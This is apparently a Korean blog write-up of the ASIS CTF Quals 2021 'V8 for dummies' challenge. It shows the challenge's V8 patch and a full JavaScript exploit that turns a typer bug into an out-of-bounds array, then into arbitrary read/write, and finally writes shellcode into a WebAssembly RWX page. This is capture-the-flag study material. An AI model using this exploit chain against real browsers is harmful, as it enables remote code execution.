본문 바로가기

브라우저

ASIS CTF Quals 2021 - V8 for dummies

diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 5e26a68ada..a3638ef5b3 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
@@ -6260,12 +6260,11 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) {
   Node* etrue = effect;
   Node* if_true = graph()->NewNode(common()->IfTrue(), branch);
  
-    // This extra check exists to refine the type of {index} but also to break
-    // an exploitation technique that abuses typer mismatches.
+    // We know that the {index} is range of the {length} now.
     index = etrue = graph()->NewNode(
-        simplified()->CheckBounds(p.feedback(),
-                                  CheckBoundsFlag::kAbortOnOutOfBounds),
-        index, length, etrue, if_true);
+        common()->TypeGuard(
+            Type::Range(0.0, length_access.type.Max() - 1.0, graph()->zone())),
+        index, etrue, if_true);
 
     done_true = jsgraph()->FalseConstant();
     if (iteration_kind == IterationKind::kKeys) {
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index a9bc374552..e13027b686 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -2063,7 +2063,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) {
 }
 
 Type Typer::Visitor::TypeStringIndexOf(Node* node) {
-  return Type::Range(-1.0, String::kMaxLength, zone());
+  return Type::Range(-0.0, String::kMaxLength, zone());
 }
 
 Type Typer::Visitor::TypeStringLength(Node* node) {

두 함수를 패치했다. 버그를 일으키는 패치는TypeStringFromCodePointAt 함수 패치이다. javascript에서는, "aaaaaaaaa".indexOf("non_exist")처럼 존재하지 않는 문자열을 indexOf로 찾으려고 하면 -1을 return한다. 기존의 코드에서는 이 범위를 올바르게 표시했지만, 패치로 인해 typer가 indexOf의 return 값의 type을 잘못 추측하게 만들었다.

두 번째 패치는 ReduceArrayIteratorPrototypeNext의 check bound node를 없앤 것이다. 이 버그를 패치하면서 패치된 로직인데, 아직 취약점에 대한 정보가 공개되지는 않았다. 이후 OOB Array를 만드는데 사용될 수 있다.

 

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);




function ftoi(val) { // typeof(val) = float
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}
spray =  []

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;



A1 = new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
A3 = [0x1234,0x2468,wasm_instance,0x3456,0x4567];


sprays=[]
    for(var j =0;j<0x10000;j+=2){
        spray[j]= 6.7355966e-316//itof(0x8203b09); // 0x0800222d082c3ae1 maps + properties error in itof. hardcoding
        spray[j+1]= itof(0x21fff084c2121) //element + length. element =>  write to this address
}

A1 = new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
A3 = [0x1234,0x2468,wasm_instance,0x3456,0x4567];

function hex(val){
	return "0x"+val.toString(16)
}

function assert(a){
	if(a){
		return;
	}
	throw "error"
}


function print(){}

function foo(a,v){
    var wt= "exist ".indexOf(a);
    wt = wt + 1;
    wt= wt*0x20//real : 0, opt : big num
    wt+=1//avoid 0x0800222d = FixedArray[0]
    var arr = new Array(wt);
//    arr[1]=1.1
    var fake = new Array(0x10);
    for(var j =0;j<0xf;j++){
      fake[j]=v;//spray.element ptr
    }
    var oob = arr[Symbol.iterator]();
    oob.next();
    oob.next(); 
    oob.next(); 
    oob.next(); 
    oob.next(); 
    oob.next(); 
    oob.next(); 
    oob.next(); 
    oob.next(); 
    oob.next(); 
    return oob.next();

}
for(var i=0;i<0x10000;i++){
    foo("exist",itof(0x1));
}

ret = foo("qq",itof(0x0847b02100000000));//return spray.element ptr


ib=false
for(i=0;i<32769;i++){// 0x082515d8, 0x084c25c4,0x084c25ac  - 0x0847b021
    tmp2 = ret.value[i]
    if(tmp2==undefined || (typeof base !== 'undefined'  && typeof aarw !== 'undefined'  ) ){
            break
    }
    tmp = ftoi(tmp2)
    high = tmp>>32n
    low = tmp&0xffffffffn
    if(high == 0xceed || low == 0xceed){
        console.log("found ceed. scan start")
        for(j=-0x300;j<0x300;j++){
            tmp = ret.value[i+j]
            tmp = ftoi(tmp)
            console.log("scan "+i+" "+j+" = "+hex(tmp));
            low = tmp&0xffffffffn;
            high = tmp>>32n;
            
            if(low==7){
                base = tmp
                base-=7n
                console.log("found base = "+hex(base))
                aarw = i+2
                function aar(address){
                    ret.value[aarw]= itof(((address)&0xffffffffn )*0x100000000n )
                    ret.value[aarw+1] =itof(parseInt(address/0x100000000n))
                    return view.getUint32(0,true)
                }
                function aaw(address,value){
                    ret.value[aarw]= itof(((address)&0xffffffff )*0x100000000 )
                    ret.value[aarw+1] = itof(parseInt(address/0x100000000))
                    view.setUint32(0,value,true)
                }
            }
            if(high==7){
                base = (ftoi(ret.value[i+j+1])>>32n) <<32n
                //base-=7n
                console.log("found base = "+hex(base))
                aarw= i+2
                function aar(address){
                    ret.value[aarw] = itof(address)
                    return view.getUint32(0,true)
                }
                function aaw(address, value){
                    ret.value[aarw] = itof(address)
                    view.setUint32(0,value,true)
                }
            } 
            if(low==0x048d0 && ftoi( ret.value[i+j+1])== 0x00008ace000068ac  ){
               rwx_p=high
               console.log("found rwx_p = "+hex(rwx_p))
            }
            if(high==0x48d0&& low == 0x2468){
                rwx_p = ftoi(ret.value[i+j+1])
                console.log("found rwx_p = "+hex(rwx_p))
            }
            if((typeof base !== 'undefined' && typeof rwx_p !== 'undefined' && typeof aarw !== 'undefined'  ) ){
                break;
            }
        }
    }
    //console.log ( i+" = "+hex(ftoi(ret.value[i])))
}

if(!(typeof base !== 'undefined'  && typeof aarw !== 'undefined' &&typeof rwx_p !== 'undefined' ) ){
    console.log("leak fail")
    err
}
rwx_p = rwx_p + base +0x5fn
console.log("rwx_p = " + hex(rwx_p))
view = new DataView(AARW);
//readline()
leak1 = aar(rwx_p)
rwx = (aar(rwx_p+4n)*0x100000000)+leak1

console.log("rwx = "+hex(rwx))
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for(i=0;i<shellcode.length;i++){
        aaw(rwx+i*4,shellcode[i],true);
}

//readline()
sh()

'브라우저' 카테고리의 다른 글

CCE 2021 - shlowering  (0) 2021.10.29
CVE-2020-6383  (0) 2020.11.10
DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
pwn2win 2020 / omnitmizer  (0) 2020.06.03